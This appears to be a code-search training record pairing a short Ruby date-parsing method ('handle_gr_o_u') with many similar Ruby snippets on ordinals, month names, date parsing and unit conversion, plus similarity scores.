"def ordinal\n self.to_s +\n if (11..13).include?(self % 100)\n \"th\"\n else\n case self % 10\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n end\n end",
"def sortable_year_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n\n if orig_date_str =~ /^\\-/\n # negative number becomes x - 1000 for sorting; -005 for -995\n num = orig_date_str[1..-1].to_i - 1000\n return '-' + num.to_s[1..-1].rjust(3, '0')\n else\n return orig_date_str.rjust(4, '0')\n end\n end",
"def number_to_full_month_name(month_number)\n require \"date\"\n return Date::MONTHNAMES[month_number]\nend",
"def date_from_string(date)\n\n#remove st rd nd and th\n\nfirstParse = Chronic.parse(date)\nr1 = /[a-zA-Z]/\n\nif firstParse #check if chronic managed to find anything\n\n #daY Less than 12, assume chronic wrong, aslong as also no characters such as December, \n #where it would be right\n if firstParse.day <= 12 and !r1.match(date) \n\t\n\t #swap month with day\n\t firstParse = firstParse.change(:day => firstParse.month, :month => firstParse.day)\n\n end #of if <= 12\n\n return firstParse\n \n else\n \n\treturn Date.new\n \n end #of if firstParse\nend",
"def month\n @month ||= date_calc.merch_to_julian(merch_month)\n end",
"def month_num_to_ver(mth)\n\t# Check if the value of mth is in the valid range\n\tif (1 > mth.to_i) or ($num_mths < mth.to_i)\n\t\traise \"The value indicating the month is restricted between 1 and 12, inclusive.\"\n\tend\n\n\tmth_v = case mth.to_i\n\t\twhen 1\tthen $months[0]\n\t\twhen 2\tthen $months[1]\n\t\twhen 3\tthen $months[2]\n\t\twhen 4\tthen $months[3]\n\t\twhen 5\tthen $months[4]\n\t\twhen 6\tthen $months[5]\n\t\twhen 7\tthen $months[6]\n\t\twhen 8\tthen $months[7]\n\t\twhen 9\tthen $months[8]\n\t\twhen 10\tthen $months[9]\n\t\twhen 11\tthen $months[10]\n\t\t# Else, it must be \"December\", since values of (mth < 12) is required\n\t\telse\t$months[11]\n\t\tend\n\n\treturn mth_v\nend",
"def fy(d)\n\t\td = d.to_date\n\t\tif(d.month >= 2)\n\t\t\treturn (d.year+1)\n\t\telse\n\t\t\treturn d.year\n\t\tend\n\tend",
"def test_5_print_months\n year = Year.new(1983)\n assert_equal(\" 1983\\n\\n January February March\\nSu Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa\\n 1 1 2 3 4 5 1 2 3 4 5\\n 2 3 4 5 6 7 8 6 7 8 9 10 11 12 6 7 8 9 10 11 12\\n 9 10 11 12 13 14 15 13 14 15 16 17 18 19 13 14 15 16 17 18 19\\n16 17 18 19 20 21 22 20 21 22 23 24 25 26 20 21 22 23 24 25 26\\n23 24 25 26 27 28 29 27 28 27 28 29 30 31\\n30 31 \\n April May June\\nSu Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa\\n 1 2 1 2 3 4 5 6 7 1 2 3 4\\n 3 4 5 6 7 8 9 8 9 10 11 12 13 14 5 6 7 8 9 10 11\\n10 11 12 13 14 15 16 15 16 17 18 19 20 21 12 13 14 15 16 17 18\\n17 18 19 20 21 22 23 22 23 24 25 26 27 28 19 20 21 22 23 24 25\\n24 25 26 27 28 29 30 29 30 31 26 27 28 29 30\\n \\n July August September\\nSu Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa\\n 1 2 1 2 3 4 5 6 1 2 3\\n 3 4 5 6 7 8 9 7 8 9 10 11 12 13 4 5 6 7 8 9 10\\n10 11 12 13 14 15 16 14 15 16 17 18 19 20 11 12 13 14 15 16 17\\n17 18 19 20 21 22 23 21 22 23 24 25 26 27 18 19 20 21 22 23 24\\n24 25 26 27 28 29 30 28 29 30 31 25 26 27 28 29 30\\n31 \\n October November December\\nSu Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa\\n 1 1 2 3 4 5 1 2 3\\n 2 3 4 5 6 7 8 6 7 8 9 10 11 12 4 5 6 7 8 9 10\\n 9 10 11 12 13 14 15 13 14 15 16 17 18 19 11 12 13 14 15 16 17\\n16 17 18 19 20 21 22 20 21 22 23 24 25 26 18 19 20 21 22 23 24\\n23 24 25 26 27 28 29 27 28 29 30 25 26 27 28 29 30 31\\n30 31 \\n\", year.print_everything)\n end",
"def unusual_day_2(num)\n if page.has_no_text?('29', count: 2)\n february(num)\n else\n not_february(num)\n end\nend",
"def year_name(number); end",
"def ordinal_suffix(number)\n last_two_digits = number.abs % 100\n\n if (11..13).include?(last_two_digits)\n \"th\"\n else\n last_digit = number.abs % 10\n case last_digit\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def number_to_short_month_name(num)\n month = number_to_full_month_name(num)\n return month [0..2]\nend",
"def month_names; end",
"def get_english_month(idx)\n Date::MONTHNAMES[idx]\n end",
"def dob_mapping(month, day, year)\n month_arr = %w(January February March April May June July August September October November December)\n m_str = ((month_arr.index month) + 1).to_s\n m = (m_str.length > 1) ? m_str : '0' + m_str\n d = (day.length > 1) ? day : '0' + day\n y = year\n\n y + '-' + m + '-' + d\n end",
"def month\n start_date&.strftime('%b %Y')\n end",
"def translated_month_names; end",
"def convert_yy_2_yyyy( birth_year )\n return nil if birth_year.nil?\n # Already a 4-digit year?\n if birth_year.to_i > 1900\n birth_year\n\n # 2-digit year?\n elsif birth_year.to_i < 100\n # We keep track upto M105:\n if DateTime.now.year - 1900 - birth_year.to_i > 105\n 2000 + birth_year.to_i\n else\n 1900 + birth_year.to_i\n end\n\n # 3-digit year?\n elsif birth_year.to_i < 1000\n # We keep track upto M105:\n if DateTime.now.year - 1000 - birth_year.to_i > 105\n 2000 + birth_year.to_i\n else\n 1000 + birth_year.to_i\n end\n end\n end",
"def mn(month)\n n = Date::ABBR_MONTHNAMES.index(month) || Date::MONTHNAMES.index(month)\n return month unless n\n\n n.to_s.rjust 2, \"0\"\n end",
"def number_to_full_month_name(month_number)\n return Date::MONTHNAMES[month_number]\nend",
"def ordinal(number)\n abs_number = number.to_i.abs\n\n if (11..13).include?(abs_number % 100)\n \"th\"\n else\n case abs_number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def month_str\n ret = Datet.months(:trans => true)[@t_month]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end",
"def date_move_formatter\n '%Y-%m'\n end",
"def ordinal(year=-4712, yday=1, sg=nil)\n super(year, yday)\n end"
] |
[
"0.6739005",
"0.67068005",
"0.660776",
"0.6509744",
"0.6473491",
"0.6465945",
"0.64577407",
"0.639909",
"0.6391643",
"0.6377075",
"0.6373626",
"0.63594055",
"0.63594055",
"0.63290685",
"0.6325708",
"0.6293293",
"0.62800103",
"0.62650424",
"0.626115",
"0.6254773",
"0.62470067",
"0.6233618",
"0.6222229",
"0.62182176",
"0.6212312",
"0.61779654",
"0.617146",
"0.61703545",
"0.6150602",
"0.6131022",
"0.6127541",
"0.6106019",
"0.6105165",
"0.6102883",
"0.60942805",
"0.60776764",
"0.6066027",
"0.606589",
"0.6063406",
"0.60598886",
"0.6056915",
"0.6054811",
"0.60210484",
"0.6019043",
"0.60025",
"0.5999964",
"0.5990091",
"0.59849447",
"0.5984141",
"0.5962145",
"0.5954606",
"0.5942445",
"0.5937934",
"0.5930956",
"0.59245896",
"0.59229636",
"0.5916618",
"0.5910648",
"0.59094316",
"0.59094316",
"0.58867884",
"0.58813703",
"0.5879994",
"0.58649415",
"0.58533055",
"0.584791",
"0.5845469",
"0.58388597",
"0.5833517",
"0.5832852",
"0.58188236",
"0.58170676",
"0.58129454",
"0.58117527",
"0.5809921",
"0.5803306",
"0.5797088",
"0.5796393",
"0.57955253",
"0.5787293",
"0.5783623",
"0.5779223",
"0.5778992",
"0.57778144",
"0.5775695",
"0.5772613",
"0.5771694",
"0.57686126",
"0.5759026",
"0.5749783",
"0.57417774",
"0.57411075",
"0.57391626",
"0.5728282",
"0.57260835",
"0.5721847",
"0.571761",
"0.5714202",
"0.5711888",
"0.57099545"
] |
0.57961345
|
78
|
Handle grabber/ordinal/unit formats: last/this/next o u
|
def handle_gr_o_u
handle_gr
next_tag
handle_o_u
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_unit!\n begin\n parse_alpha_unit!\n rescue InvalidFormat\n parse_numeric_unit!\n end\n end",
"def handle_u\n @unit = @tokens[@index].get_tag(Unit).type\n @index += 1\n @precision = :unit\n end",
"def parse_units\n # extract the unit suffix\n if self =~ /(\\d[\\d_]*(?:\\.\\d+)?)\\s*([a-zA-Z]+\\b|%(?= \\s|$))/\n units = $2.downcase\n num = $1 #.to_f\n num = num[\".\"] ? num.to_f : num.to_i\n\n case units\n when \"%\"\n # 0.01\n num / 100.0\n when \"k\"\n # 10**3\n num.thousand\n when \"m\", \"mm\"\n # 10**6\n num.million\n when \"b\", \"bn\"\n # 10**9\n num.billion\n when \"gib\", \"gb\", \"g\"\n num * 2**30\n when \"mib\", \"mb\"\n num * 2**20\n when \"kib\", \"kb\"\n num * 2**10\n when \"t\", \"tb\"\n # 10**12\n num.trillion\n when \"q\"\n # 10**15\n num.quadrillion\n when \"Q\"\n # 10**18\n num.quintillion\n when \"min\"\n # 1.minute\n num.minutes\n when \"hours\", \"h\", \"hr\", \"hrs\"\n # 1.hour\n num.hours\n when \"d\", \"days\", \"dy\"\n num.days\n else\n raise \"Invalid units: #{units.inspect}, in: #{self.inspect}\"\n end\n else\n raise \"Couldn't find any units to parse! (expecting: '<a number><some letters>')\"\n end\n end",
"def unit_formats(type)\n #find statements\n #if sales[0]< 1000 and tot assets[0] < 1000\n #$xxx,xxx.x\n #else\n #$xxx,xxx\n #end\n end",
"def _process_format(format); end",
"def _process_format(format); end",
"def format_ordinal(number)\n number.to_s + ORDINALS.fetch(number.to_s[-1].to_sym, 'th')\nend",
"def formats_idx; end",
"def ordinal(num)\ncase num\n when 1\n \"1st\"\n when 2\n '2nd'\n when 3\n '3rd'\n when 4\n '4th'\n when 5\n '5th'\n when 6\n 'last'\n end\nend",
"def formats; end",
"def formats; end",
"def human_readable(number, type)\n\t# Do some math then return the number in a commified form:\n\treturn (number/type).to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/,'\\1,\\2')\nend",
"def ordinal(num)\n\tnum = num.to_s\n\tnum2 = num.to_i\n\n if num == \"1\" || num2 % 10 == 1 && num[num.length-2] != \"1\"\n return \"st\"\n elsif num == \"2\" || num2 % 10 == 2 && num[num.length-2] != \"1\"\n return \"nd\"\n elsif num == \"3\" || num2 % 10 == 3 && num[num.length-2] != \"1\"\n return \"rd\"\n else\n return \"th\"\n end\nend",
"def ordinalize(num_str)\n if num_str[-2] == '1'\n \"#{num_str}th\"\n else\n case num_str[-1]\n when '0' || '4' || '5' || '6' || '7' || '8' || '9' \n \"#{num_str}th\"\n when '1'\n \"#{num_str}st\"\n when '2'\n \"#{num_str}nd\"\n when '3'\n \"#{num_str}rd\"\n end\n end\nend",
"def base_unit\n units[0]\n end",
"def handle_om_gr\n handle_om\n next_tag\n handle_gr\n # ignore unit\n @year = @local_date.year + @modifier\n next_tag\n end",
"def routing_number_with_format; end",
"def consume_numeric; end",
"def ordinal\n case self % 100\n when 11..13; \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def convertUnitValue(value,unit)\n if (unit.present?)\n unit.strip!\n else\n return value\n end\n unitRegEx=/^([afpnu\\xC2\\xB5\\316\\274mcdhkMGTPE]?)[ ]*(.+)/\n matchSet=unitRegEx.match(unit)\n if (matchSet.nil?)\n return value\n else\n prefix=matchSet[1]\n baseUnit=matchSet[2]\n case prefix\n when \"a\"\n mult=1.0E-18\n when \"f\"\n mult=1.0E-15\n when \"p\"\n mult=1.0E-12\n when \"n\"\n mult=1.0E-9\n when \"u\",\"\\316\\274\",\"\\xC2\\xB5\"\n mult=1.0E-6\n when \"m\"\n mult=1.0E-3\n when \"c\"\n mult=1.0E-2\n when \"d\"\n mult=1.0E-1\n when \"\"\n mult=1.0\n when \"h\"\n mult=1.0E2\n when \"k\"\n mult=1.0E3\n when \"M\"\n mult=1.0E6\n when \"G\"\n mult=1.0E9\n when \"T\"\n mult=1.0E12\n when \"P\"\n mult=1.E15\n when \"E\"\n mult=1.0E18\n else\n mult=1.0\n end\n return value*mult\n end\n end",
"def ordinal_indicator(number)\n if number == 0\n return \"zero\"\n elsif number.to_s.chars.map(&:to_i).last == 1 && number != 11\n return \"#{number}st\"\n elsif number.to_s.chars.map(&:to_i).last == 2 && number != 12\n return \"#{number}nd\"\n elsif number.to_s.chars.map(&:to_i).last == 3 && number != 13\n return \"#{number}rd\"\n else\n return \"#{number}th\"\n end\nend",
"def century_name_ending(number)\n if number[-2] == '1' # 10-19 are last two digits\n 'th'\n else\n case number[-1]\n when '0', '4', '5', '6', '7', '8', '9' then 'th'\n when '1' then 'st'\n when '2' then 'nd'\n when '3' then 'rd'\n end\n end\nend",
"def correct_rut_format\n\t self.rut.gsub!(/[-]|[.]/, \"\") unless self.rut.blank?\n end",
"def append_ordinal_suffix(num)\n case num % 10\n when 1 \n \"st\"\n when 2\n \"nd\"\n when 3\n \"rd\"\n else\n \"th\"\n end\nend",
"def ordinal\n self.to_s +\n if (11..13).include?(self % 100)\n \"th\"\n else\n case self % 10\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinal; end",
"def parse_unit\n if @s.scan(/(?=\\()/)\n parse_group\n elsif @s.scan(/(?=\\[|\\\\[dDwWhHsS]|\\.)/)\n parse_char_group\n elsif c = parse_single_char\n Char.new c\n end\n end",
"def format_duration\n if ui_duration.present? && ui_duration&.respond_to?(:include?)\n if ui_duration == 'N/A'\n self.duration = nil\n self.ui_duration = ''\n elsif ui_duration.tr('0-9', '').length > 0 # expect there is some delimiter\n delimiter = ui_duration.tr('0-9', '').first # the typo for colon has to be consistent, 01;18/05 will fail\n ui_duration.gsub!(delimiter, ':') # whatever the non-digit was, make it a colon\n self.duration = unformatted_time(ui_duration) # expect hh:mm or hh:mm:ss format\n else\n self.duration = ui_duration.to_i # expect raw minutes format\n end\n end\n end",
"def parse_time_unit(time_unit)\n case time_unit\n when /[0-9]+[smhdy]/\n time = time_unit[/[0-9]+/].to_i\n unit = time_unit[/[smhdy]/]\n time * UNIT_MULTIPLIER.fetch(unit)\n when /[0-9]+/\n Integer(time_unit)\n else\n raise\n end\n rescue IndexError => e\n raise InvalidParameter, \"Invalid time specification specified: '#{time_unit}'\"\n end",
"def unit\n parts[3]\n end",
"def formatOunces(value)\n\t\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\t\tend",
"def unit_t\n I18n.t \"#{self.unit_s}\", :count => 1\n end",
"def ordinalize(number)\n if (number.to_i==-1)\n\t'last'\n elsif (number.to_i==-2)\n\t'second to last'\n elsif (11..13).include?(number.to_i % 100)\n\t\"#{number}th\"\n else\n\tcase number.to_i % 10\n\t when 1 then \"#{number}st\"\n\t when 2 then \"#{number}nd\"\n\t when 3 then \"#{number}rd\"\n\t else \"#{number}th\"\n\tend\n end\n end",
"def ordinalize\n if (11..13).include?(self % 100)\n \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def formatOunces(value)\n\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\tend",
"def unit_s\n self.unit.to_s if self.unit\n end",
"def pretty_unit\n return if unitless?\n\n numerator = Inspection.prettify_unit_part(numerators)\n denominator = Inspection.prettify_unit_part(denominators)\n\n numerator = '1' if numerator.empty?\n return \" #{numerator}\" if denominator.empty?\n\n UNIT_FORMAT % [numerator, denominator]\n end",
"def numericize_ordinals(text) #:nodoc:\n text = text.gsub(/\\b(\\d*)(st|nd|rd|th)\\b/, '\\1')\n end",
"def parse_values_from_ui\n\t\tunless self.period_value.blank? and self.period_units.blank?\n\t\t\tp = self.period_value.to_i\n\t\t\tself.period = p.send(self.period_units).to_i\n\t\tend\n\t\tunless self.breach_duration_value.blank? and self.breach_duration_units.blank?\n\t\t\tp = self.breach_duration_value.to_i\n\t\t\tself.breach_duration = p.send(self.breach_duration_units).to_i\n\t\tend\n\t\tunless self.lower_breach_scale_increment_action.blank? and self.lower_breach_scale_increment_value.blank? and self.lower_breach_scale_increment_units.blank?\n\t\t\tself.lower_breach_scale_increment = ''\n\t\t\tself.lower_breach_scale_increment = '-' if self.lower_breach_scale_increment_action == 'decrease'\n\t\t\tself.lower_breach_scale_increment += self.lower_breach_scale_increment_value.to_s\n\t\t\tself.lower_breach_scale_increment += '%' if self.lower_breach_scale_increment_units == '%'\n\t\tend\n\t\tunless self.upper_breach_scale_increment_action.blank? and self.upper_breach_scale_increment_value.blank? and self.upper_breach_scale_increment_units.blank?\n\t\t\tself.upper_breach_scale_increment = ''\n\t\t\tself.upper_breach_scale_increment = '-' if self.upper_breach_scale_increment_action == 'decrease'\n\t\t\tself.upper_breach_scale_increment += self.upper_breach_scale_increment_value.to_s\n\t\t\tself.upper_breach_scale_increment += '%' if self.upper_breach_scale_increment_units == '%'\n\t\tend\n\tend",
"def parse_alpha_unit!\n matchdata = unit.match(ALPHA_UNIT_FORMAT)\n raise InvalidFormat if matchdata.nil?\n\n @alpha_unit = matchdata[1]\n @numeric_unit = matchdata[2].to_i\n end",
"def convert_to_fl_oz(amount, unit)\n\t\tcase unit\n\t\t\twhen 'gallon' then amount * 128\n\t\t\twhen 'quart' then amount * 32\n\t\t\twhen 'pint' then amount * 16\n\t\t\twhen 'cup' then amount * 8\n\t\t\twhen 'fl_oz' then amount\n\t\t\twhen 'Tbsp' then amount * 0.5\n\t\t\twhen 'tsp' then amount * 0.1666666666667\n\t\tend\n\tend",
"def method_missing(id, *args)\n\t # Check this before valid_conversion? because valid_conversion? has low standards\n\t if (id.to_s =~ /(.+)\\?$/) and Units.valid_unit?($1)\n\t\t@units.is_a?($1)\n\t elsif (@units and @units.valid_conversion?(id)) or Units.valid_unit?(id)\n\t\tunits = Units.new(id)\n\t\tif @units\n\t\t (@units == units) ? self : self.class.new(@units.convert(@value, id), units)\n\t\telse\n\t\t self.class.new(value, units)\n\t\tend\n\t elsif (id.to_s =~ /^per_(.+)$/) and Units.valid_unit?($1)\n\t\tunits = @units ? @units.per({$1 => (args[0] || 1)}) : Units.new({$1 => -(args[0] || 1)})\n\t\tself.class.new(@value, units)\n\t elsif (id.to_s =~ /^to_(.+)$/) and Units.valid_unit?($1)\n\t\tunits = Units.new($1)\n\t\treturn self if @units == units\n\t\tself.class.new(@units.convert(@value, $1), units)\n\t else\n\t\t@value.send(id, *args)\n\t end\n\tend",
"def ordinal_suffix(number)\n last_two_digits = number.abs % 100\n\n if (11..13).include?(last_two_digits)\n \"th\"\n else\n last_digit = number.abs % 10\n case last_digit\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def _process_format(format) # :nodoc:\n end",
"def append_ordinal_suffix(num)\n right_most_digit = num % 10\n case right_most_digit\n when 1 \n puts \"#{num}st\"\n when 2\n puts \"#{num}nd\"\n when 3\n puts \"#{num}rd\"\n else\n puts \"#{num}th\"\n end\nend",
"def number_to_ordinal(num)\n if params[:locale] == \"en\"\n num = num.to_i\n if (10...20)===num\n \"#{num}th\"\n else\n g = %w{ th st nd rd th th th th th th }\n a = num.to_s\n c=a[-1..-1].to_i\n a + g[c]\n end\n else\n num = num.to_i\n raw \"#{num}ª\"\n end\n end",
"def formatConvertor(inputFormat)\n\n inputFormat.sub! 'DD', '%d'\n inputFormat.sub! 'YYYY', '%Y'\n inputFormat.sub! 'YY', '%Y'\n inputFormat.sub! 'MM', '%m'\n inputFormat.sub! 'hh', '%H'\n inputFormat.sub! 'mm', '%M'\n inputFormat.sub! 'ss', '%S'\n inputFormat.sub! 'HH', '%I' # HH - for hour of the clock (12 hour)\n inputFormat.sub! 'A/P', '%p'\n inputFormat.sub! 'MON', '%b' # Jan/Feb etc\n #inputFormat.sub! 'TZ', '%z' # TimeZone\n\n\nend",
"def determine_rest(number, unit)\n\tnumber - ((number / unit) * unit)\nend",
"def dealer(inputFormat)\n if !inputFormat.include? \"hh\" and !inputFormat.include? \"HH\"\n if !inputFormat.include? \"YYYY\" and !inputFormat.include? \"YY\"\n return -1\n end\n return 1\n end\nend",
"def ordinal(number)\n \tending =\n case number % 100\n when 11, 12, 13 then 'th'\n else\n case number % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\t\treturn number.to_s + ending\n end",
"def tenders_ultimate(start, num, day)\n\nend",
"def format2type(format)\n if FORMATS.has_key? format\n FORMATS[format]\n elsif @user_defined_formats.has_key? format\n @user_defined_formats[format]\n else\n # Previously, just return :float here...\n # Instead, updating to correctly identify percents, dates/times from numeric formats\n # Step 1, remove all quoted (i.e., displayed as non-replaced static text) sections\n\t # \t\tAND all color and language bracket marker sections\n adj_format = format.gsub(/\\\".*?\\\"/, \"\").gsub(/\\[.*?\\]/, \"\")\n # Step 2, check if a percent, s date, a datetime, or a time\n\t if adj_format.include?(\"%\")\n\t\t:percentage\n elsif (adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"m\")) && !(adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :date\n elsif (adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"mmm\")) && (adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :datetime\n elsif !(adj_format.include?(\"y\") || adj_format.include?(\"d\") || adj_format.include?(\"mmm\")) && (adj_format.include?(\"h\") || adj_format.include?(\"s\"))\n :time\n else\n :float\n end\n end\n end",
"def english_number original_number\r\n current_number = original_number\r\n exploded_number = []\r\n # Convert number into an array of multiples of base units\r\n CONVERSIONS.each do |base_pair|\r\n if current_number >= base_pair[:number] * 2\r\n # Enter the multiple and the base unit as elements if necessary\r\n exploded_number << current_number / base_pair[:number]\r\n exploded_number << base_pair\r\n current_number %= base_pair[:number]\r\n elsif current_number >= base_pair[:number]\r\n # Enter just the base unit if there's no integer multiple\r\n exploded_number << base_pair\r\n current_number %= base_pair[:number]\r\n end\r\n # Otherwise enter nothing\r\n end\r\n # Eg array [{1000000}, 507, {1000}, 5, 100, 30, 7]\r\n # Reduce array to an English translation\r\n english_result = exploded_number.reduce([\"\",:start]) { |text_string, base_pair|\r\n # Add a space unless it's the start of the string\r\n text_string[0] += ' ' unless text_string[1] == :start\r\n # Convert current number to English if it's a multiple\r\n if base_pair.class == Integer\r\n text_string[0] += english_number(base_pair)\r\n text_string[1] = :multiple\r\n elsif base_pair[:number] >= ONE_PREFIX_BOUNDARY\r\n # Otherwise, if it's >= 100 and preceding unit is not a multiple add 'one'\r\n text_string[0] += 'one ' unless text_string[1] == :multiple\r\n text_string[0] += base_pair[:name]\r\n text_string[1] = :above_boundary\r\n else\r\n # Otherwise, if it's <100 and transitioning from >=100, add 'and'\r\n text_string[0] += 'and ' if text_string[1] == :above_boundary\r\n text_string[0] += base_pair[:name]\r\n text_string[1] = :below_boundary\r\n end\r\n text_string\r\n }[0]\r\n return english_result\r\nend",
"def handle_ts\n handle_at\n handle_in\n @time_special = @tokens[@index].get_tag(TimeSpecial).type\n @index += 1\n @precision = :time_special\n end",
"def test_rec_number_negative\n @numbers.each do |value, expected|\n # add auto negative values\n value = value.is_a?(String) ? '-' + value : value * -1\n expected = expected == '0' ? expected : '-' + expected\n\n assert_equal expected, @TS_Rec.format(value)\n end\n end",
"def english_ordinal n\n str = n.to_s\n str +\n case str\n when /11$/, /12$/, /13$/\n 'th'\n when /1$/\n 'st'\n when /2$/\n 'nd'\n when /3$/\n 'rd'\n else\n 'th'\n end\nend",
"def convert(number)\n drops = drops(number)\n#Here the check and return if no drop is get. As the test request \n drops.empty? ? number.to_s : drops\n end",
"def ordinal(n)\n ending = case n % 100\n when 11, 12, 13 then 'th'\n else\n case n % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\n \"#{n}#{ending}\"\nend",
"def handle_od_gr\n handle_od\n next_tag\n handle_gr\n # ignore unit\n @year, @month = Date::add_month(@local_date.year, @local_date.month, @modifier)\n next_tag\n end",
"def ordinal(input)\n if (11..13).include?(input.to_i % 100)\n \"#{input}th\"\n else\n case input.to_i % 10\n when 1 then \"#{input}st\"\n when 2 then \"#{input}nd\"\n when 3 then \"#{input}rd\"\n else \"#{input}th\"\n end\n end\n end",
"def number_to_string(num)\n case num\n when 1 then '1st'\n when 2 then '2nd'\n when 3 then '3rd'\n when 4, 5 then num.to_s + 'th'\n when 6 then 'last'\n end\nend",
"def eng_unit_user_tag; eng_unit_type.tag rescue \"\"; end",
"def format_stat(stat)\n stat\n .to_s\n .reverse\n .gsub(/(\\d{3})(?=\\d)/, '\\\\1,')\n .reverse\n end",
"def getBaseUnit(unitString)\n if (unitString.present?)\n unitString.strip!\n unitRegEx=/^([afpnumcdhkMGTPE]?)[ ]*([\\w%]+)/\n matchSet=unitRegEx.match(unitString)\n return matchSet[2]\n else\n return unitString\n end\n end",
"def unit_digit_string(digit)\n case digit\n when 0 then 'zero'\n when 1 then 'one'\n when 2 then 'two'\n when 3 then 'three'\n when 4 then 'four'\n when 5 then 'five'\n when 6 then 'six'\n when 7 then 'seven'\n when 8 then 'eight'\n when 9 then 'nine'\n end\nend",
"def name_to_val(name)\n name.sub(/sotu-(\\d\\d\\d\\d).*/,'\\1').to_i\nend",
"def from_french(num)\nend",
"def year_name(number); end",
"def basic_parsing(item)\n order_years(item).to_h\n end",
"def format_format(raw)\n raw ||= \"N/A\"\n\n if raw.include? \"Taschenbuch\"\n result = \"Paperback\"\n elsif result == \"N/A\"\n result = raw\n else\n result = \"Something else\"\n end\nend",
"def greatest_unit\n v = @v.first\n unit = Unit::YEAR # Unit::ETERNITY\n each_with_time do |el|\n \n if v!=el.value\n if el.time.year_changed? and unit>=Unit::YEAR\n unit = Unit::YEAR\n else\n if el.time.month_changed? and unit>=Unit::MONTH\n unit = Unit::MONTH\n else\n if el.time.day_changed? and unit>=Unit::DAY\n unit = Unit::DAY\n else\n unit = Unit::HOUR\n break\n end\n end\n end\n end\n v = el.value\n end\n return Unit.name(unit)\n end",
"def complete_number\n \"#{self.pre_value} #{self.value} #{self.post_value}\".squeeze(\" \").strip\n end",
"def strftime_ordinalized(fmt, format=nil)\n strftime(fmt.gsub(/(^|[^-])%d/, '\\1_%d_')).gsub(/_(\\d+)_/) { |s| s.to_i.ordinalize }\n end",
"def date_formats_by_unit\n #mysql format is always at first position, only one value if mysql and strftime are equivalent\n return ['%Y-%m-%d %H%i%s', '%Y-%m-%d %H%M%S'] if measured_in?(\"seconds\")\n return ['%Y-%m-%d %H%i', '%Y-%m-%d %H%M'] if measured_in?(\"minutes\")\n return ['%Y-%m-%d %H'] if measured_in?(\"hours\")\n return ['%Y-%m-%d']\n end",
"def formats=(values); end",
"def set_last_digits\n end",
"def ordinal(number)\n abs_number = number.to_i.abs\n\n if (11..13).include?(abs_number % 100)\n \"th\"\n else\n case abs_number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def value\n if eng_unit_type\n \"#{data} #{eng_unit_type.tag}\"\n else\n data.to_s\n end\n end",
"def convert_temp(value,unit)\n if unit.chomp == \"f\"\n puts \"fahrenheit: #{value}\"\n puts \"to Celcius: #{((value.to_i - 32) / 1.8).round(2)}\"\n puts \"to Kelvin: #{((value.to_i + 459.67) / 1.8).round(2)}\"\n elsif unit.chomp == \"C\"\n puts \"Celcius: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 + 32).round(2)}\"\n puts \"to Kelvin: #{(value.to_i + 273.15).round(2)}\"\n else\n puts \"Kelvin: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 - 459.67).round(2)}\"\n puts \"to Celcius: #{(value.to_i - 273.15).round(2)}\"\n end\nend",
"def format; :n3; end",
